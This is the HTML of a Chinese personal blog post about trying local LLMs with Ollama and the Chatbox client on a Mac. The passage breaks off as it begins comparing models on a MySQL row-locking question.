crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">mac体验ollama本地大模型</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-e8fd9138663d415d968424343fb3248f"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-bc73e0a0094045959732ab9c28cd26a7"><a href="#ba4103b98a3f4c44bda847b3722d4e15" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#2aa083b807264e50bd4df857b5dd0316" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">基础配置</span></a><a href="#45149c38559d414b830fc06c20da7dec" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">ollama</span></a><a href="#5ea402bc1e804e359b3343c347bda5e7" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">chatbox</span></a><a href="#d52f61a6953045cf8e555822170d7448" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">模型对比</span></a><a href="#5efbbd5123a04cc2b0343da0b79430f7" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">promot&amp;question</span></a><a href="#d47a618fcf904bc495576424452366d4" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">openai:3.5</span></a><a href="#c713c08c2d0b4eb1881771fec58212ef" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">mistral:7b</span></a><a href="#7e5fed0f7e6c4eb0957baf7e801e764e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">llama2:4b</span></a><a href="#6e0e38e977744f499fbb67e52a21593d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">starcoder2:15b</span></a><a href="#9d06ce11437e4aef8661c6551d358cf5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">llama2:13b</span></a><a href="#440e5ba9230942239df250ca1b67e237" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">总结</span></a><a href="#e1da917bbb7142529f5fd1c997b18551" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-ba4103b98a3f4c44bda847b3722d4e15" data-id="ba4103b98a3f4c44bda847b3722d4e15"><span><div id="ba4103b98a3f4c44bda847b3722d4e15" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ba4103b98a3f4c44bda847b3722d4e15" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-e8405e2223194ec093b35a799df21fc4"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="⚙">⚙</span></div><div class="notion-callout-text">最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便</div></div><div class="notion-blank notion-block-7dfa62e308fb4a0daf59773b0f9f56dc"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2aa083b807264e50bd4df857b5dd0316" data-id="2aa083b807264e50bd4df857b5dd0316"><span><div id="2aa083b807264e50bd4df857b5dd0316" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2aa083b807264e50bd4df857b5dd0316" title="基础配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">基础配置</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-45149c38559d414b830fc06c20da7dec" data-id="45149c38559d414b830fc06c20da7dec"><span><div id="45149c38559d414b830fc06c20da7dec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#45149c38559d414b830fc06c20da7dec" title="ollama"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">ollama</span></span></h3><ul class="notion-list notion-list-disc notion-block-281bb727bba84f6ea1ffb55b6f76b39c"><li>直接去官网下载:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://ollama.com/">https://ollama.com/</a></li></ul><ul class="notion-list notion-list-disc notion-block-b64c746d9c8c458e92922e365dea363b"><li>命令行运行ollama -h查看命令集</li></ul><ul class="notion-list notion-list-disc notion-block-1b0d3b8dc1f04ca3907c1e34341d376b"><li>查看本地模型列表:ollama list</li></ul><ul class="notion-list notion-list-disc notion-block-db1102e6f11145af96a4db331284b95b"><li>下载并且运行模型:ollama run llama2:13b</li></ul><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-78995c5ea8424a30b1a93a93f7b37307"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F0ed7329d-d7fd-4a94-b61c-b320abce770b%2FUntitled.png?table=block&amp;id=78995c5e-a842-4a30-b1a9-3a93f7b37307&amp;t=78995c5e-a842-4a30-b1a9-3a93f7b37307" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-5ea402bc1e804e359b3343c347bda5e7" data-id="5ea402bc1e804e359b3343c347bda5e7"><span><div id="5ea402bc1e804e359b3343c347bda5e7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5ea402bc1e804e359b3343c347bda5e7" title="chatbox"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">chatbox</span></span></h3><ul class="notion-list notion-list-disc notion-block-90137cb747e442a8bd953be130d612a0"><li>gpt的client端,支持多种模型,包括ollama本地运行的模型</li></ul><ul class="notion-list notion-list-disc notion-block-5ed02535d8e346f58efb5e68003b6fec"><li>地址:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://github.com/Bin-Huang/chatbox">https://github.com/Bin-Huang/chatbox</a></li></ul><ul class="notion-list notion-list-disc notion-block-426b70c6f0fe4849b277b986cc09a3eb"><li>内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器</li></ul><ul class="notion-list notion-list-disc notion-block-24e1ffffe99e4a8eb080f3948a289de8"><li>支持为每一个会话指定特殊的模型</li></ul><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-0b1e06e421a74f20b95cdd39c9232d8e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F57a953d1-aa3b-4836-b7de-fa0eb70300f9%2FUntitled.png?table=block&amp;id=0b1e06e4-21a7-4f20-b95c-dd39c9232d8e&amp;t=0b1e06e4-21a7-4f20-b95c-dd39c9232d8e" alt="notion image" loading="lazy" decoding="async"/></div></figure><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-d52f61a6953045cf8e555822170d7448" data-id="d52f61a6953045cf8e555822170d7448"><span><div id="d52f61a6953045cf8e555822170d7448" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d52f61a6953045cf8e555822170d7448" title="模型对比"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">模型对比</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-5efbbd5123a04cc2b0343da0b79430f7" data-id="5efbbd5123a04cc2b0343da0b79430f7"><span><div id="5efbbd5123a04cc2b0343da0b79430f7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5efbbd5123a04cc2b0343da0b79430f7" title="promot&amp;question"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">promot&amp;question</span></span></h3><blockquote class="notion-quote notion-block-3fee6369f3e14e3eb833b1f24a8acf97"><div>promot:</div><div class="notion-text notion-block-f8f42a19b2fc45dda16f7eb56a1f35e9">你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。
 
 question:</div><div class="notion-text notion-block-3c5a4d3b35b445cd89a636019aef8fe9">select * from t where c=5 for update;</div><div class="notion-text notion-block-765c2ea538db401eb852a981010c0f96">but c not index,tell me the process of locking
